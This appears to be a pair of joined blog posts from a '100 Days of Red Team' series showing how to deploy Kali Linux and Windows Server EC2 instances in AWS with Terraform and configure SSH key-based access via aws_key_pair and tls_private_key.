While setting up the Windows EC2 instance, I made a few improvements to the existing Kali machine.

• The root volume size for the Kali instance was increased to 30 GB as the original size was insufficient for certain operations.

• Additionally, the Kali instance now also uses a templatefile()-based user data script to automate post-launch tasks. This script downloads and installs the latest Kali archive keyring and performs a full system update.

We also update the security group to allow SSH access between both EC2 instances.

Terraform resources

We will be using the ec2_instance module, with a few additions, developed earlier for the Kali machine to deploy the Windows box. The additions include the root_block_device block and the use of templatefile() in user_data. The root_block_device block allows to modify the root volume size of the EC2 instance. The templatefile() provides a dynamic way to inject and execute scripts and custom commands into the EC2 instance.

Deploying the EC2 instance

Refer to the Kickstarting red team infrastructure automation via Terraform to understand the architecture we are working with.

Here is the Terraform Red Team Infrastructure project in 100 Days of Red Team GitHub repository that deploys a Windows Server 2022 EC2 instance in AWS.

Clone this project to your machine and execute the following commands to deploy the infrastructure:

⚠️Reminder: Switch to the dev Terraform workspace (terraform workspace select dev) before executing following commands. To create dev workspace use, terraform workspace new dev.

terraform init
terraform plan -var-file "secrets.tfvars"
terraform apply -var-file "secrets.tfvars"

Reminder: You must create a secrets.tfvars file manually to hold credentials. Never commit secrets to version control. It contains AWS credentials temporarily stored in plain text, which is not recommended for production environments. Also, we are still using local state files for simplicity. In a real red team deployment, you must use an encrypted remote backend.

Once done, remember to destroy the infrastructure via following command (or you may incur significant costs):

terraform destroy -var-file "secrets.tfvars"

TL;DR
In this post we covered how to:
- Deploy a Windows Server 2022 EC2 instance using the official Windows Server AMI.
- Enable and install additional tools such as WSL, VS Code, Python, C# etc. via user_data argument of aws_instance resource.
- Customize the disk size using root_device_block.

Follow my journey of 100 Days of Red Team on WhatsApp, Telegram or Discord.

Why key-based access is preferred?

Password-based authentication, while simple to set up, poses significant security risks. Passwords can be brute-forced, stolen, or reused across systems. In contrast, SSH key-based access is far more secure. It relies on a pair of cryptographic keys — a public key, which gets stored on the server, and a private key, which stays with the operator. Access is granted only when the private key correctly matches the public key, making it virtually impossible for unauthorized users to gain access without possessing the private key.

Follow my journey of 100 Days of Red Team on WhatsApp, Telegram or Discord.

From a red team perspective, key-based access minimizes detection opportunities and provides more reliable persistence mechanisms. Additionally, SSH keys eliminate the need to hardcode credentials or use environment variables for secrets — a win for operational security (OPSEC).

Before deploying our instance with key-based access, we need an SSH key pair. There are two ways to create this key pair: manually using tools like ssh-keygen, or automatically using Terraform.

Generating SSH key pairs (manually)

This method gives you full control over the key generation process, ensuring that the private key never leaves your local system.

The following command can be used to generate public/private key pair (you may need to change the path specified via -f):

ssh-keygen -t rsa -b 4096 -f ~/.ssh/redteam_kali -C "redteam@100days"

This creates:

• ~/.ssh/redteam_kali (the private key) — keep this safe and never upload it.

• ~/.ssh/redteam_kali.pub (the public key) — can be safely uploaded to AWS or shared.

To use this key within your Terraform project, add the aws_key_pair resource in main.tf. The aws_key_pair resource in Terraform is used to register an SSH public key with AWS. This key is then associated with EC2 instances so that users can log in securely using the corresponding private key.

resource "aws_key_pair" "manual_key" {
  key_name   = "100daysofredteam-key"
  public_key = file("~/.ssh/redteam_kali.pub")

  tags = {
    Name = "100daysofredteam-sshkey-${var.environment}"
  }
}

Next, add this key to the ec2_instance module:

module "ec2_kali" {
  source            = "./modules/ec2_instance"
  ami_id            = var.ami_id
  instance_type     = var.instance_type
  subnet_id         = module.network.public_subnet_id
  security_group_id = module.sg.kali_sg_id
  associate_public_ip = true
  key_name          = aws_key_pair.manual_key.key_name
  environment       = var.environment
}

You will also need to add the key_name variable definition to variables.tf within ec2_instance module:

variable "key_name" {
  type        = string
  description = "The name of the SSH key pair to associate with the EC2 instance"
  validation {
    condition     = length(var.key_name) > 0
    error_message = "key_name must not be empty."
  }
}

Post this, when you run terraform apply, Terraform will automatically upload the public key to AWS and attach it to the EC2 instance. If this does not work, you can manually upload the public key via following steps:

• Go to the AWS EC2 Console.

• In the left menu, select Key Pairs under Network & Security.

• Click Actions > Select Import Key Pair.

• Provide a name (e.g., redteam-kali-key) and paste the contents of redteam_kali.pub.

• Click Import key pair.

Generating SSH key pairs (via Terraform)

Terraform allows you to generate SSH key pairs dynamically using the tls_private_key resource. This is helpful for fully automated deployments — especially in short-lived or disposable environments — where key generation, instance creation, and destruction are handled in one pipeline.

Note: While convenient, be cautious — if local state is compromised, so is your private key.

Here’s how it works:

resource "tls_private_key" "ssh_key" {
  algorithm = "RSA"
  rsa_bits  = 4096
}

This key can be registered in the AWS EC2 console using the aws_key_pair resource:

resource "aws_key_pair" "generated_key" {
  key_name   = var.key_name
  public_key = tls_private_key.ssh_key.public_key_openssh

  tags = {
    Name = "100daysofredteam-sshkey-${var.environment}"
  }
}

• tls_private_key generates a new SSH key pair.

• public_key_openssh returns the public key in a format accepted by AWS.

• The aws_key_pair resource registers that public key in the AWS EC2 console under the specified key_name.

To write the private key to disk, you might use the local_file resource — but again, be extremely careful. The local_file resource is a utility in Terraform that allows you to write text content to a file on the local machine running Terraform.

resource "local_file" "private_key" {
  content          = tls_private_key.this.private_key_pem
  filename         = "${path.module}/${var.key_name}.pem"
  file_permission  = "0600"
  count            = var.write_private_key ? 1 : 0
}

Note: The tls_private_key resource does not require OpenSSH or any external tools to be installed. Terraform handles key generation internally using Go libraries.

Deploying the EC2 instance with key-based access via SSH

Refer to the Kickstarting red team infrastructure automation via Terraform to understand the architecture we are working with.

We will use the following updated directory structure (note that we have added a new module, ssh_key):

red-team-infra/
├── main.tf
├── variables.tf
├── outputs.tf
├── terraform.tfvars
├── providers.tf
├── secrets.tfvars  # <--- manually created, not committed
└── modules/
    ├── vpc/
    │   ├── main.tf
    │   ├── variables.tf
    │   └── outputs.tf
    ├── subnet/
    │   ├── main.tf
    │   ├── variables.tf
    │   └── outputs.tf
    ├── internet_gateway/
    │   ├── main.tf
    │   ├── variables.tf
    │   └── outputs.tf
    ├── route_tables/
    │   ├── main.tf
    │   ├── variables.tf
    │   └── outputs.tf
    ├── ec2_instance/
    │   ├── main.tf
    │   ├── variables.tf
    │   └── outputs.tf
    ├── security_group/
    │   ├── main.tf
    │   ├── variables.tf
    │   └── outputs.tf
    └── ssh_key/
        ├── main.tf
        ├── variables.tf
        └── outputs.tf

Reminder: You must create a secrets.tfvars file manually to hold credentials. Never commit secrets to version control. It contains AWS credentials temporarily stored in plain text, which is not recommended for production environments. Also, we are still using local state files for simplicity. In a real red team deployment, you must use an encrypted remote backend.

Here is the Terraform Red Team Infrastructure project in 100 Days of Red Team GitHub repository that deploys a Kali Linux EC2 instance with key-based SSH access in AWS.

Clone this project to your machine and execute the following commands to deploy the infrastructure:

Following permissions need to be added to the TerraformEC2Access IAM policy before using the above mentioned project:

• ec2:ImportKeyPair

  ec2:DeleteKeyPair

⚠️Reminder: Switch to the dev Terraform workspace (terraform workspace select dev) before executing following commands. To create dev workspace use, terraform workspace new dev.

terraform init
terraform plan -var-file "secrets.tfvars"
terraform apply -var-file "secrets.tfvars"

Once the Kali Linux EC2 instance has been created, you can connect it via following command:

ssh -l kali -i .\modules\ssh_key\100daysofredteam-kali.pem <Public IP of EC2 instance>

Once done, remember to destroy the infrastructure via following command (or you may incur significant costs):

terraform destroy -var-file "secrets.tfvars"

TL;DR
In this post we covered how to:
- Generate SSH key pair manually and register it in AWS via Terraform.
- Automatically generate SSH key pair and register it in AWS via Terraform.
- Attach the SSH key-pair to EC2 instance.

Follow my journey of 100 Days of Red Team on WhatsApp, Telegram or Discord.